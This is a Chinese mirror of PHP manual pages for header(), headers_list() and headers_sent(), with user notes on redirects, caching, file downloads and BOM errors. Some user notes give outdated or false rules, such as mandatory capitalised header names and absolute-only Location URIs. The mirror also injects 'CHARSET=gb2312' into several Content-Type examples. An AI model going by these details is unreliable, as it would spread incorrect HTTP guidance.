
string

头字符串。

有两种特别的头。第一种以"HTTP/"开头的 (case is not significant)，将会被用来计算出将要发送的HTTP状态码。 例如在 Apache 服务器上用 PHP 脚本来处理不存在文件的请求（使用 ErrorDocument 指令）， 就会希望脚本响应了正确的状态码。

<?php
// 本示例演示了 "HTTP/" 的特殊例子，典型用法的最佳实践，包括：
// 1. header($_SERVER["SERVER_PROTOCOL"] . " 404 Not Found");
// （覆盖 http 状态消息，兼容还在使用 HTTP/1.0 的客户端）
// 2. http_response_code(404); （使用默认消息）
header("HTTP/1.1 404 Not Found");
?>

第二种特殊情况是"Location:"的头信息。它不仅把报文发送给浏览器，而且还将返回给浏览器一个 REDIRECT（302）的状态码，除非状态码已经事先被设置为了201或者3xx。

<?php
header("Location: http://www.example.com/"); /* Redirect browser */

/* Make sure that code below does not get executed when we redirect. */
exit;
?>

replace

可选参数 replace 表明是否用后面的头替换前面相同类型的头。 默认情况下会替换。如果传入 false，就可以强制使相同的头信息并存。例如：

<?php
header('WWW-Authenticate: Negotiate');
header('WWW-Authenticate: NTLM', false);
?>

response_code

强制指定 HTTP 响应的值。注意，这个参数只有在报文字符串（header）不为空的情况下才有效。

返回值

没有返回值。

错误／异常

当 header 发送失败时，header() 会抛出 E_WARNING 级别的错误

示例

Example #1 下载对话框

如果你想提醒用户去保存你发送的数据，例如保存一个生成的PDF文件。你可以使用» Content-Disposition的报文信息来提供一个推荐的文件名，并且强制浏览器显示一个文件下载的对话框。

<?php
// 输出 PDF 文件
header('Content-type: application/pdf');

// 名称为 downloaded.pdf
header('Content-Disposition: attachment; filename="downloaded.pdf"');

// 该 PDF 来源于 original.pdf
readfile('original.pdf');
?>

Example #2 缓存指令

PHP 脚本经常生成一些动态内容，它不该被客户端、服务器与浏览器之间的代理缓存。 许多代理与客户端都支持这样强制禁用缓存：

<?php
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // 过去的日期
?>

Note:

也许你会遇到这样的情况，那就是即使你没使用上面这段代码，你的页面也没有被缓存。大多数情况是因为用户可以自己设置他们的浏览器从而改变浏览器默认的缓存行为。一旦发送了上面这段报文信息，那么你就应该重写那些可能用到缓存了的代码。

此外，在启用session的情况下，session_cache_limiter()和session.cache_limiter的配置可以用来自动地生成正确的缓存相关的头信息。

注释

Note:

数据头只会在SAPI支持时得到处理和输出。

Note:

你所有需要输出到浏览器的数据将会一直缓存在服务器端，直到你发送他们，这将造成比较大的资源开销。你可以是用输出缓冲来避开这个问题。你可以通过在脚本里使用ob_start()和ob_end_flush()或者直接在你的php.ini文件里设置output_buffering，也可以直接在服务器的配置文件里设置。

Note:

HTTP状态信息的报文永远都是最新被发送到客户端的，而不管header()是否是在最先发送的。报文状态码可能会被重写，当调用header()来设定新的状态码，除非HTTP报文已经被发送了。

Note:

绝大多数现代浏览器的 » Location: 都支持相对 URI，但也有一些旧浏览器需要绝对 URI：包含协议、主机名、绝对路径。 一般情况下，可以借助 $_SERVER['HTTP_HOST']、$_SERVER['PHP_SELF']、 dirname() 将相对地址组合成绝对 URI：

<?php
/* 根据当前请求所在的目录，重定向到不同的页面 */
$host = $_SERVER['HTTP_HOST'];
$uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
$extra = 'mypage.php';
header("Location: http://$host$uri/$extra");
exit;
?>

Note:

在执行Location header跳转的时候，Session ID无法通传递的，即使session.use_trans_sid是激活状态的。只能通过手动传递using SID的值来实现。

参见

  • headers_sent() - 检测消息头是否已经发送
  • setcookie() - 发送 Cookie
  • http_response_code() - 获取/设置响应的 HTTP 状态码
  • header_remove() - 删除之前设置的 HTTP 头
  • headers_list() - 返回已发送的 HTTP 响应头（或准备发送的）
  • The section on HTTP authentication

User Contributed Notes

Emmanuel Chazard 20-Jun-2023 01:44
If you use header() to allow the user to download a file, it's very important to check the encoding of the script itself. Your script should be encoded in UTF-8, but definitely not in UTF-8-BOM! The presence of BOM will alter the file received by the user. Let the following script:

<?php

$content = file_get_contents('test_download.png') ;
$name = 'test.png' ;
$size = strlen($content) ;

header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Cache-Control: no-cache, must-revalidate');
header('Expires: 0');
header('Content-Disposition: attachment; filename="'.$name.'"');
header('Content-Length: ' . $size);
header('Pragma: public');

echo $content ;

?>

Irrespectively from the encoding of test_download.png, when this PHP script is encoded in UTF-8-BOM, the content received by the user is different:
- a ZWNBSP byte (U+FEFF) is added to the beginning of the file
- the file content is truncated!!!
If it's a binary file (e.g. image, proprietary format), the file will become unreadable.
David Spector 12-Jul-2021 12:07
Please note that there is no error checking for the header command, either in PHP, browsers, or Web Developer Tools.

If you use something like "header('text/javascript');" to set the MIME type for PHP response text (such as for echoed or Included data), you will get an undiagnosed failure.

The proper MIME-setting function is "header('Content-type: text/javascript');".
Angelica Perduta 24-Feb-2020 11:20
I made a script that generates an optimized image for use on web pages using a 404 script to resize and reduce original images, but on some servers it was generating the image but then not using it due to some kind of cache somewhere of the 404 status. I managed to get it to work with the following and although I don't quite understand it, I hope my posting here does help others with similar issues:

    header_remove();
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");
    // ... and then try redirecting
    // 201 = The request has been fulfilled, resulting in the creation of a new resource however it's still not loading
    // 302 "moved temporarily" does seems to load it!
    header("location:$dst", FALSE, 302); // redirect to the file now we have it
php at ober-mail dot de 07-Dec-2019 02:14
Since PHP 5.4, the function `http_?response_?code()` can be used to set the response code instead of using the `header()` function, which requires to also set the correct protocol version (which can lead to problems, as seen in other comments).
hamza dot eljaouhari dot etudes at gmail dot com 06-Jun-2018 07:56
// Beware that adding a space between the keyword "Location" and the colon causes an Internal Sever Error

//This line causes the error
        7
header('Location : index.php&controller=produit&action=index');

// While It must be written without the space
 header('Location: index.php&controller=produit&action=index');
ASchmidt at Anamera dot net 11-May-2018 03:36
Setting the "Location: " header has another undocumented side-effect!

It will also disregard any expressly set "Content-Type: " and forces:

"Content-Type: text/html; CHARSET=gb2312"

The HTTP RFCs don't call for such a drastic action. They simply state that a redirect content SHOULD include a link to the destination page (in which case ANY HTML compatible content type would do). But PHP even overrides a perfectly standards-compliant
"Content-Type: application/xhtml+xml"!
tim at sharpwebdevelopment dot com 19-Feb-2018 03:18
The header call can be misleading to novice php users.
when "header call" is stated, it refers the the top leftmost position of the file and not the "header()" function itself.
"<?php" opening tag must be placed before anything else, even whitespace.
razvan_bc at yahoo dot com 17-Jan-2018 05:20
<?php
/* This will give an error. Note the output
 * above, which is before the header() call */
header('Location: http://www.example.com/');
exit;
?>

this example is pretty good BUT in time you use "exit" the parser will still work to decide what's happening next the "exit" 's action should do ('cause if you check the manual exit works in others situations too).
SO MY POINT IS : you should use :
<?php

header('Location: http://www.example.com/');
die();

?>
'CAUSE all die function does is to stop the script ,there is no other place for interpretation and the scope you choose to break the action of your script is quickly DONE!!!

there are many situations  with others examples and the right choose for small parts of your scrips that make differences when you write your php framework at well!

Thanks Rasmus Lerdorf and his team to wrap off parts of unusual php functionality ,php 7 roolez!!!!!
David 15-Sep-2017 04:26
It seems the note saying the URI must be absolute is obsolete. Found on https://en.wikipedia.org/wiki/HTTP_location

?An obsolete version of the HTTP 1.1 specifications (IETF RFC 2616) required a complete absolute URI for redirection.[2] The IETF HTTP working group found that the most popular web browsers tolerate the passing of a relative URL[3] and, consequently, the updated HTTP 1.1 specifications (IETF RFC 7231) relaxed the original constraint, allowing the use of relative URLs in Location headers.?
chris at ocproducts dot com 21-Jan-2017 06:59
Note that 'session_start' may overwrite your custom cache headers.
To remedy this you need to call:

session_cache_limiter('');

...after you set your custom cache headers. It will tell the PHP session code to not do any cache header changes of its own.
nospam at nospam dot com 17-Mar-2016 08:50
<?php

// Response codes behaviors when using
header('Location: /target.php', true, $code) to forward user to another page:

$code = 301;
// Use when the old page has been "permanently moved and any future requests should be sent to the target page instead. PageRank may be transferred."

$code = 302; (default)
// "Temporary redirect so page is only cached if indicated by a Cache-Control or Expires header field."

$code = 303;
// "This method exists primarily to allow the output of a POST-activated script to redirect the user agent to a selected resource. The new URI is not a substitute reference for the originally requested resource and is not cached."

$code = 307;
// Beware that when used after a form is submitted using POST, it would carry over the posted values to the next page, such if target.php contains a form processing script, it will process the submitted info again!

// In other words, use 301 if permanent, 302 if temporary, and 303 if a results page from a submitted form.
// Maybe use 307 if a form processing script has moved.

?>
yjf_victor 19-Jan-2016 02:23
According to the RFC 6226 (https://tools.ietf.org/html/rfc6266), the only way to send Content-Disposition Header with encoding is:

Content-Disposition: attachment;
                          filename*= UTF-8''%e2%82%ac%20rates

for backward compatibility, what should be sent is:

Content-Disposition: attachment;
                          filename="EURO rates";
                          filename*=utf-8''%e2%82%ac%20rates

As a result, we should use

<?php
$filename = '中文文件名.exe';   // a filename in Chinese characters

$contentDispositionField = 'Content-Disposition: attachment; '
    . sprintf('filename="%s"; ', rawurlencode($filename))
    . sprintf("filename*=utf-8''%s", rawurlencode($filename));

header('Content-Type: application/octet-stream');

header($contentDispositionField);

readfile('file_to_download.exe');
?>

I have tested the code in IE6-10, firefox and Chrome.
er dot ellison dot nyc at gmail dot com 23-Oct-2015 08:16
DO NOT PUT space between location and the colon that comes after that ,
// DO NOT USE THIS :
header("Location : #whatever"); // -> will not work !

// INSTEAD USE THIS ->
header("Location: #wahtever"); // -> will work forever !
Vinay Kotekar 12-Dec-2014 01:34
Saving php file in ANSI  no isuess but when saving the file in UTF-8 format for various reasons remember to save the file without any BOM ( byte-order mark) support.
Otherwise you will face problem of headers not being properly sent
eg.
<?php header("Set-Cookie: name=user");?>

Would give something like this :-

Warning: Cannot modify header information - headers already sent by (output started at C:\www\info.php:1) in C:\www\info.php on line 1
ben at indietorrent dot org 23-May-2012 05:34
Be aware that sending binary files to the user-agent (browser) over an encrypted connection (SSL/TLS) will fail in IE (Internet Explorer) versions 5, 6, 7, and 8 if any of the following headers is included:

Cache-control:no-store
Cache-control:no-cache

See: http://support.microsoft.com/kb/323308

Workaround: do not send those headers.

Also, be aware that IE versions 5, 6, 7, and 8 double-compress already-compressed files and do not reverse the process correctly, so ZIP files and similar are corrupted on download.

Workaround: disable compression (beyond text/html) for these particular versions of IE, e.g., using Apache's "BrowserMatch" directive. The following example disables compression in all versions of IE:

BrowserMatch ".*MSIE.*" gzip-only-text/html
cedric at gn dot apc dot org 22-Jan-2011 11:47
Setting a Location header "returns a REDIRECT (302) status code to the browser unless the 201 or a 3xx status code has already been set".  If you are sending a response to a POST request, you might want to look at RFC 2616 sections 10.3.3 and 10.3.4.   It is suggested that if you want the browser to immediately GET the resource in the Location header in this circumstance, you should use a 303 status code not the 302 (with the same link as hypertext in the body for very old browsers).  This may have (rare) consequences as mentioned in bug 42969.
Cody G. 01-Aug-2010 09:53
After lots of research and testing, I'd like to share my findings about my problems with Internet Explorer and file downloads.

  Take a look at this code, which replicates the normal download of a Javascript:

<?php
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Content-type: text/javascript");
  header("Content-Disposition: inline; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 } else {
  header("Content-type: application/force-download");
  header("Content-Disposition: attachment; filename=\"download.js\"");
  header("Content-Length: ".filesize("my-file.js"));
 }
 header("Expires: Fri, 01 Jan 2010 05:00:00 GMT");
 if(strstr($_SERVER["HTTP_USER_AGENT"],"MSIE")==false) {
  header("Cache-Control: no-cache");
  header("Pragma: no-cache");
 }
 include("my-file.js");
?>

Now let me explain:

  I start out by checking for IE, then if not IE, I set Content-type (case-sensitive) to JS and set Content-Disposition (every header is case-sensitive from now on) to inline, because most browsers outside of IE like to display JS inline. (User may change settings). The Content-Length header is required by some browsers to activate download box. Then, if it is IE, the "application/force-download" Content-type is sometimes required to show the download box. Use this if you don't want your PDF to display in the browser (in IE). I use it here to make sure the box opens. Anyway, I set the Content-Disposition to attachment because I already know that the box will appear. Then I have the Content-Length again.

  Now, here's my big point. I have the Cache-Control and Pragma headers sent only if not IE. THESE HEADERS WILL PREVENT DOWNLOAD ON IE!!! Only use the Expires header, after all, it will require the file to be downloaded again the next time. This is not a bug! IE stores downloads in the Temporary Internet Files folder until the download is complete. I know this because once I downloaded a huge file to My Documents, but the Download Dialog box put it in the Temp folder and moved it at the end. Just think about it. If IE requires the file to be downloaded to the Temp folder, setting the Cache-Control and Pragma headers will cause an error!

I hope this saves someone some time!
~Cody G.
Marcel G 01-Apr-2010 06:37
Several times this one is asked on the net but an answer could not be found in the docs on php.net ...

If you want to redirect an user and tell him he will be redirected, e. g. "You will be redirected in about 5 secs. If not, click here." you cannot use header( 'Location: ...' ) as you can't sent any output before the headers are sent.

So, either you have to use the HTML meta refresh thingy or you use the following:

<?php
  header( "refresh:5;url=wherever.php" );
  echo 'You\'ll be redirected in about 5 secs. If not, click <a href="wherever.php">here</a>.';
?>

Hth someone
Refugnic 03-Feb-2010 05:43
My files are in a compressed state (bz2). When the user clicks the link, I want them to get the uncompressed version of the file.

After decompressing the file, I ran into the problem, that the download dialog would always pop up, even when I told the dialog to 'Always perform this operation with this file type'.

As I found out, the problem was in the header directive 'Content-Disposition', namely the 'attachment' directive.

If you want your browser to simulate a plain link to a file, either change 'attachment' to 'inline' or omit it alltogether and you'll be fine.

This took me a while to figure out and I hope it will help someone else out there, who runs into the same problem.
dev at omikrosys dot com 16-Oct-2009 10:45
Just to inform you all, do not get confused between Content-Transfer-Encoding and Content-Encoding

Content-Transfer-Encoding specifies the encoding used to transfer the data within the HTTP protocol, like raw binary or base64. (binary is more compact than base64. base64 having 33% overhead).
Eg Use:- header('Content-Transfer-Encoding: binary');

Content-Encoding is used to apply things like gzip compression to the content/data.
Eg Use:- header('Content-Encoding: gzip');
scott at lucentminds dot com 16-Oct-2009 04:42
If you want to remove a header and keep it from being sent as part of the header response, just provide nothing as the header value after the header name. For example...

PHP, by default, always returns the following header:

"Content-Type: text/html"

Which your entire header response will look like

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Content-Type: text/html; CHARSET=gb2312
Connection: close

If you call the header name with no value like so...

<?php

    header( 'Content-Type:' );

?>

Your headers now look like this:

HTTP/1.1 200 OK
Server: Apache/2.2.11 (Unix)
X-Powered-By: PHP/5.2.8
Date: Fri, 16 Oct 2009 23:05:07 GMT
Connection: close
Anonymous 31-Jul-2009 08:02
I just want to add, becuase I see here lots of wrong formated headers.

1. All used headers have first letters uppercase, so you MUST follow this. For example:

Location, not location
Content-Type, not content-type, nor CONTENT-TYPE

2. Then there MUST be colon and space, like

good: header("Content-Type: text/plain");
wrong: header("Content-Type:text/plain");

3. Location header MUST be absolute uri with scheme, domain, port, path, etc.

good: header("Location: http://www.example.com/something.php?a=1");

4. Relative URIs are NOT allowed

wrong:  Location: /something.php?a=1
wrong:  Location: ?a=1

It will make proxy server and http clients happier.
mjt at jpeto dot net 17-Jul-2009 11:01
I strongly recommend, that you use

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found");

instead of

header("HTTP/1.1 404 Not Found");

I had big troubles with an Apache/2.0.59 (Unix) answering in HTTP/1.0 while I (accidentially) added a "HTTP/1.1 200 Ok" - Header.

Most of the pages were displayed correct, but on some of them apache added weird content to it:

A 4-digits HexCode on top of the page (before any output of my php script), seems to be some kind of checksum, because it changes from page to page and browser to browser. (same code for same page and browser)

"0" at the bottom of the page (after the complete output of my php script)

It took me quite a while to find out about the wrong protocol in the HTTP-header.
bebertjean at yahoo dot fr 05-Dec-2008 05:46
If using the 'header' function for the downloading of files, especially if you're passing the filename as a variable, remember to surround the filename with double quotes, otherwise you'll have problems in Firefox as soon as there's a space in the filename.

So instead of typing:

<?php
  header("Content-Disposition: attachment; filename=" . basename($filename));
?>

you should type:

<?php
  header("Content-Disposition: attachment; filename=\"" . basename($filename) . "\"");
?>

If you don't do this then when the user clicks on the link for a file named "Example file with spaces.txt", then Firefox's Save As dialog box will give it the name "Example", and it will have no extension.

See the page called "Filenames_with_spaces_are_truncated_upon_download" at
http://kb.mozillazine.org/ for more information. (Sorry, the site won't let me post such a long link...)
jamie 01-Dec-2008 07:57
The encoding of a file is discovered by the Content-Type, either in the HTML meta tag or as part of the HTTP header. Thus, the server and browser does not need - nor expect - a Unicode file to begin with a BOM mark. BOMs can confuse *nix systems too. More info at http://unicode.org/faq/utf_bom.html#bom1

On another note: Safari can display CMYK images (at least the OS X version, because it uses the services of QuickTime)
mzheng[no-spam-thx] at ariba dot com 23-Oct-2008 08:50
For large files (100+ MBs), I found that it is essential to flush the file content ASAP, otherwise the download dialog doesn't show until a long time or never.

<?php
header("Content-Disposition: attachment; filename=" . urlencode($file));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file));
flush(); // this doesn't really matter.

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush(); // this is essential for large downloads
}
fclose($fp);
?>
shutout2730 at yahoo dot com 21-Aug-2008 11:57
It is important to note that headers are actually sent when the first byte is output to the browser. If you are replacing headers in your scripts, this means that the placement of echo/print statements and output buffers may actually impact which headers are sent. In the case of redirects, if you forget to terminate your script after sending the header, adding a buffer or sending a character may change which page your users are sent to.

This redirects to 2.html since the second header replaces the first.

<?php
header("location: 1.html");
header("location: 2.html"); //replaces 1.html
?>

This redirects to 1.html since the header is sent as soon as the echo happens. You also won't see any "headers already sent" errors because the browser follows the redirect before it can display the error.

<?php
header("location: 1.html");
echo "send data";
header("location: 2.html"); //1.html already sent
?>

Wrapping the previous example in an output buffer actually changes the behavior of the script! This is because headers aren't sent until the output buffer is flushed.

<?php
ob_start();
header("location: 1.html");
echo "send data";
header("location: 2.html"); //replaces 1.html
ob_end_flush(); //now the headers are sent
?>
sk89q 16-Aug-2008 11:41
You can use HTTP's etags and last modified dates to ensure that you're not sending the browser data it already has cached.

<?php
$last_modified_time = filemtime($file);
$etag = md5_file($file);

header("Last-Modified: ".gmdate("D, d M Y H:i:s", $last_modified_time)." GMT");
header("Etag: $etag");

if (@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == $last_modified_time ||
    trim($_SERVER['HTTP_IF_NONE_MATCH']) == $etag) {
    header("HTTP/1.1 304 Not Modified");
    exit;
}
?>
Dylan at WeDefy dot com 13-Oct-2007 08:17
A quick way to make redirects permanent or temporary is to make use of the $http_response_code parameter in header().

<?php
// 301 Moved Permanently
header("Location: /foo.php",TRUE,301);

// 302 Found
header("Location: /foo.php",TRUE,302);
header("Location: /foo.php");

// 303 See Other
header("Location: /foo.php",TRUE,303);

// 307 Temporary Redirect
header("Location: /foo.php",TRUE,307);
?>

The HTTP status code changes the way browsers and robots handle redirects, so if you are using header(Location:) it's a good idea to set the status code at the same time.  Browsers typically re-request a 307 page every time, cache a 302 page for the session, and cache a 301 page for longer, or even indefinitely.  Search engines typically transfer "page rank" to the new location for 301 redirects, but not for 302, 303 or 307. If the status code is not specified, header('Location:') defaults to 302.
nobileelpirata at hotmail dot com 02-Jun-2007 03:04
This is the Headers to force a browser to use fresh content (no caching) in HTTP/1.0 and HTTP/1.1:

<?PHP
header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );

?>
mandor at mandor dot net 14-Feb-2006 05:14
When using PHP to output an image, it won't be cached by the client so if you don't want them to download the image each time they reload the page, you will need to emulate part of the HTTP protocol.

Here's how:

<?php

    // Test image.
    $fn = '/test/foo.png';

    // Getting headers sent by the client.
    $headers = apache_request_headers();

    // Checking if the client is validating his cache and if it is current.
    if (isset($headers['If-Modified-Since']) && (strtotime($headers['If-Modified-Since']) == filemtime($fn))) {
        // Client's cache IS current, so we just respond '304 Not Modified'.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 304);
    } else {
        // Image not cached or cache outdated, we respond '200 OK' and output the image.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 200);
        header('Content-Length: '.filesize($fn));
        header('Content-Type: image/png');
        print file_get_contents($fn);
    }

?>

That way foo.png will be properly cached by the client and you'll save bandwith. :)
jp at webgraphe dot com 21-Nov-2003 03:56
A call to session_write_close() before the statement

<?php
    header("Location: URL");
    exit();
?>

is recommended if you want to be sure the session is updated before proceeding to the redirection.

We encountered a situation where the script accessed by the redirection wasn't loading the session correctly because the precedent script hadn't the time to update it (we used a database handler).

JP.
bMindful at fleetingiamge dot org 31-May-2003 03:08
If you haven't used, HTTP Response 204 can be very convenient. 204 tells the server to immediately termiante this request. This is helpful if you want a javascript (or similar) client-side function to execute a server-side function without refreshing or changing the current webpage. Great for updating database, setting global variables, etc.

     header("status: 204");  (or the other call)
     header("HTTP/1.0 204 No Response");


返回已发送的 HTTP 响应头（或准备发送的）

  • ? header
  • headers_sent ?
  • PHP Manual
  • 网络 函数
  • 返回已发送的 HTTP 响应头（或准备发送的）

headers_list

(PHP 5, PHP 7, PHP 8)

headers_list — 返回已发送的 HTTP 响应头（或准备发送的）

说明

headers_list(): array

headers_list() 会返回准备发送给浏览器/客户端的 HTTP 头列表。 检测这些头是否已经发送，使用 headers_sent()。

参数

此函数没有参数。

返回值

返回数字索引的头数组。

示例

Example #1 使用 headers_list() 的例子

<?php

/* setcookie() 会自己添加一个响应头 */
setcookie('foo', 'bar');

/* 添加自定义的响应头
大多数客户端会主动忽略 */
header("Example-Test: foo");

/* 响应中指定内容为明文 text */
header('Content-Type: text/plain; CHARSET=gb2312');

/* 所以会发送什么头呢？ */
var_dump(headers_list());

?>

以上示例的输出类似于：

array(3) {
  [0]=>
  string(19) "Set-Cookie: foo=bar"
  [1]=>
  string(17) "Example-Test: foo"
  [2]=>
  string(39) "Content-Type: text/plain; CHARSET=gb2312"
}

注释

Note:

数据头只会在SAPI支持时得到处理和输出。

参见

  • headers_sent() - 检测消息头是否已经发送
  • header() - 发送原生 HTTP 头
  • setcookie() - 发送 Cookie
  • apache_response_headers() - 获得全部 HTTP 响应头信息
  • http_response_code() - 获取/设置响应的 HTTP 状态码

User Contributed Notes

arnold at jasny dot net 26-Jan-2017 04:31
This function won't work for when you're running PHP from the command line. If will always return an empty array. This can be an issue when testing your project using PHPUnit or Codeception.

To solve this, install the xdebug extension and use `xdebug_get_headers` when on the cli.

<?php
$headers = php_sapi_name() === 'cli' ? xdebug_get_headers() : headers_list();
?>
Anonymous 11-Oct-2012 12:50
note that it does not return the status header

<?php

header('HTTP/1.1 301 Moved Permanently', true, 301);

header('foo: bar');
header('a: b');
header('colon less example');

print_r(headers_list());
?>

Array
(
    [0] => X-Powered-By: PHP/5.4.7
    [1] => foo: bar
    [2] => a: b
)
SOLO2 13-Jul-2012 04:00
Function to check if a particular header has been added to the list:

<?php

function header_sent($header) {
    $headers = headers_list();
    $header = trim($header,': ');
    $result = false;

    foreach ($headers as $hdr) {
        if (stripos($hdr, $header) !== false) {
            $result = true;
        }
    }

    return $result;
}

?>


检测消息头是否已经发送

  • ? headers_list
  • http_response_code ?
  • PHP Manual
  • 网络 函数
  • 检测消息头是否已经发送

headers_sent

(PHP 4, PHP 5, PHP 7, PHP 8)

headers_sent — 检测消息头是否已经发送

说明

headers_sent(string &$filename = null, int &$line = null): bool

检测消息头是否已经发送。

消息头已经发送时，就无法通过 header() 添加更多头字段。使用此函数起码可以防止收到跟消息头相关的错误。另一个解决方案是用输出缓冲。

参数

filename

若设置了可选参数 filename 和 line，headers_sent() 会把 PHP 文件名放在 filename 变量里，输出开始的行号放在 line 变量里。

Note:

如果在执行 PHP 源文件之前已经开始输出（例如由于启动错误），则 filename 参数将被设置为空字符串。

line

输出开始的行号。

返回值

消息头未发送时，headers_sent() 返回 false，否则返回 true。

示例

Example #1 使用 headers_sent() 的例子

<?php

// 没有消息头就发送一个
if (!headers_sent()) {
header('Location: http://www.example.com/');
exit;
}

// 使用 file 和 line 参数选项的例子
// 注意 $filename 和 $linenum 用于下文中使用
// 所以不要提前为它们赋值
if (!headers_sent($filename, $linenum)) {
header('Location: http://www.example.com/');
exit;

// 很有可能在这里触发错误
} else {

echo "Headers already sent in $filename on line $linenum\n" .
"Cannot redirect, for now please click this <a " .
"href=\"http://www.example.com\">link</a> instead\n";
exit;
}

?>

注释

Note:

数据头只会在SAPI支持时得到处理和输出。

参见

  • ob_start() - 打开输出控制缓冲
  • trigger_error() - 产生一个用户级别的 error/warning/notice 信息
  • headers_list() - 返回已发送的 HTTP 响应头（或准备发送的）
  • header() - 发送原生 HTTP 头 中有更多相关细节的讨论。

User Contributed Notes

rojasredes at gmail dot com 04-Jun-2018 01:59
Remember to save source code file *.php with UTF-8 without BOM.
If saved with UTF-8 BOM the next code allways return "true":

<?php
if headers_sent($source,$numline)
{
    die("true");
}
else
{
    die("false");
}
?>

Even when $numline is 1, and there is any character before <?php
and after ?>

Save file without BOM and everything will be ok, then.
szczepan.krol[et]gmail[*]com 21-Oct-2010 02:10
Here a function to check also if any other outout is already sent:
<?php

function output_send(){
    if (!headers_sent() && error_get_last()==NULL ) {
        return false;

    }
    return true;
}
?>
Jase 08-Apr-2009 06:42
This is becoming annoying the amount of posts to try and describe the behaviour of headers

Headers appear first in the data sent to the user's browser

if headers have been called using the header() function but no data has been sent to the output buffer (using echo, readfile etc), then the headers are sent at the end of script execution otherwise they are sent when the buffer reaches it's limit and emptied

simple

this means that headers_sent() will return false if nothing is sent to the output buffer because the headers are being sent at the end of the script

This is not a bug either, this is expected behaviour. Keeping headers until forced to send them out is a good idea because certain measures can be taken like prevention of meta injection etc (option in header() to replace headers that have not yet been sent)

besides, headers_sent() is good for when you try and send headers but the output buffer has already been emptied (in cases of php error handling for example). Obviously if the buffer has emtpied, sending headers won't work.
yesmarklapointe at hotmail dot com 21-Oct-2008 06:07
I was having trouble getting my mind around the concepts involved. Here is my dilemma and the conclusion I reached in case recounting them can help others:

I am using WAMPserver: PHP 5.2.6, and Apache 2.2.8 on Windows XP SP3. If it matters to your duplication,
I found two php.ini files in WAMPserver where output_buffering had been set to 4096. I changed them to OFF for this testing.

Here is how you can replicate what I am experiencing: With IE 7.0 go to Tools ... Display ieHTTPheaders ... and run the following script repeatedly and watch what happens:

<?php
header( 'Expires: Mon, 26 Jul 1998 05:00:00 GMT' );
//var_dump(headers_sent());
//print("whatever");
//flush();
//echo "whatever";
var_dump(headers_sent());
?>

Result: the final var_dump of the headers_sent() function will
always return FALSE unless any one or  more of the commented lines above it are uncommented. Uncommenting the statements allows an output to be sent to the user not just to their browser, after which the final var_dump will return TRUE. What I found confusing was that the ieHTTPheaders tool shows that the header is being sent to the user's browser even when all the output lines are commented out. So why does headers_sent() return FALSE in this case? Because you can keep sending other headers. The headers_sent function is meant to alert one to when no further headers can be sent. My testing shows it does not return true unless some other output is also sent after the header, thereby signaling that  "Headers have been sent and concluded with user output. NOW you can't send any more headers."

Someone else worked his way through this problem in a (false) bug report: http://bugs.php.net/bug.php?id=30264
Here is the relevant part of the reply from the pro:
"When you use compression the entire page is buffered in memory, until end of the request. Consequently you can send headers at any time because no data is being actually sent to user when you print it. Until PHP actually decides to send any page output to the user you can still send additional headers which is why the headers_sent() function is returning false. It will return true, indicating that headers have been sent  only at a time when output began going to the user and you no longer can send any additional headers."

So in summary, my point is that there is a difference between headers being sent only to the browser (which can be followed by other headers) vs. headers being sent and concluded by output for the user. The function should have been given a more clear name like headers_concluded().
loaded67 at hotmail dot com 17-Feb-2008 10:54
very handy function!

When working with GD I made something like:

<?php
class image{

    /**
     * show
     * sends image to browser and destroy the resource if headers not sent.
     * use php constants IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG
     *
     * @final
     * @static
     * @access public
     * @param resource $resource
     * @param int $type
     */
    final static public function show($resource, $type){
        if(!headers_sent()){
            header('Cache-control: private');
            switch($type){
                case IMAGETYPE_GIF :    header('Content-type: image/gif');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.gif');
                                        imagegif($resource);
                                        break;
                case IMAGETYPE_JPEG :     header('Content-type: image/jpeg');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.jpg');
                                        imagejpeg($resource, NULL, 99);
                        break;
                case IMAGETYPE_PNG :     header('Content-type: image/png');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.png');
                                        imagepng($resource, NULL, 0,  NULL);
                        break;
            }
            imagedestroy($resource);
            exit;
        }
    }
}
?>

This way if you are debugging... and flush output... you will not get the endless list of headers allready send errors...

Hope it's helpfull... ;)
vasnake at gmail dot com 22-Jul-2007 03:55
In my case, when I install PHP 5.2.1 in CGI mode under Apache 2.2.3 (on windows 2003 SP2),
function sent_headers() always return false. flash(), ob_end_flash(), so on... no matter.
I suppose, Apache buffering all PHP output until exit()
collectours at free dot fr 18-Jun-2007 02:32
In response to K.Tomono and alexrussell101 at gmail dot com :

Yes,
headers_sent() will return false, even if you sent something to the ouptut using print() or header() , if output_buffering is different from Off in you php.ini, and the length of what you sent does not exceed the size of output_buffering.

To test it, try this code with  these values in php.ini
1) output_buffering=32
2) output buffering = 4096

[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
    echo "enough text to feed the buffer until it overflows ;-)<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]

then put
3) output buffering = Off
and try this code
[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]
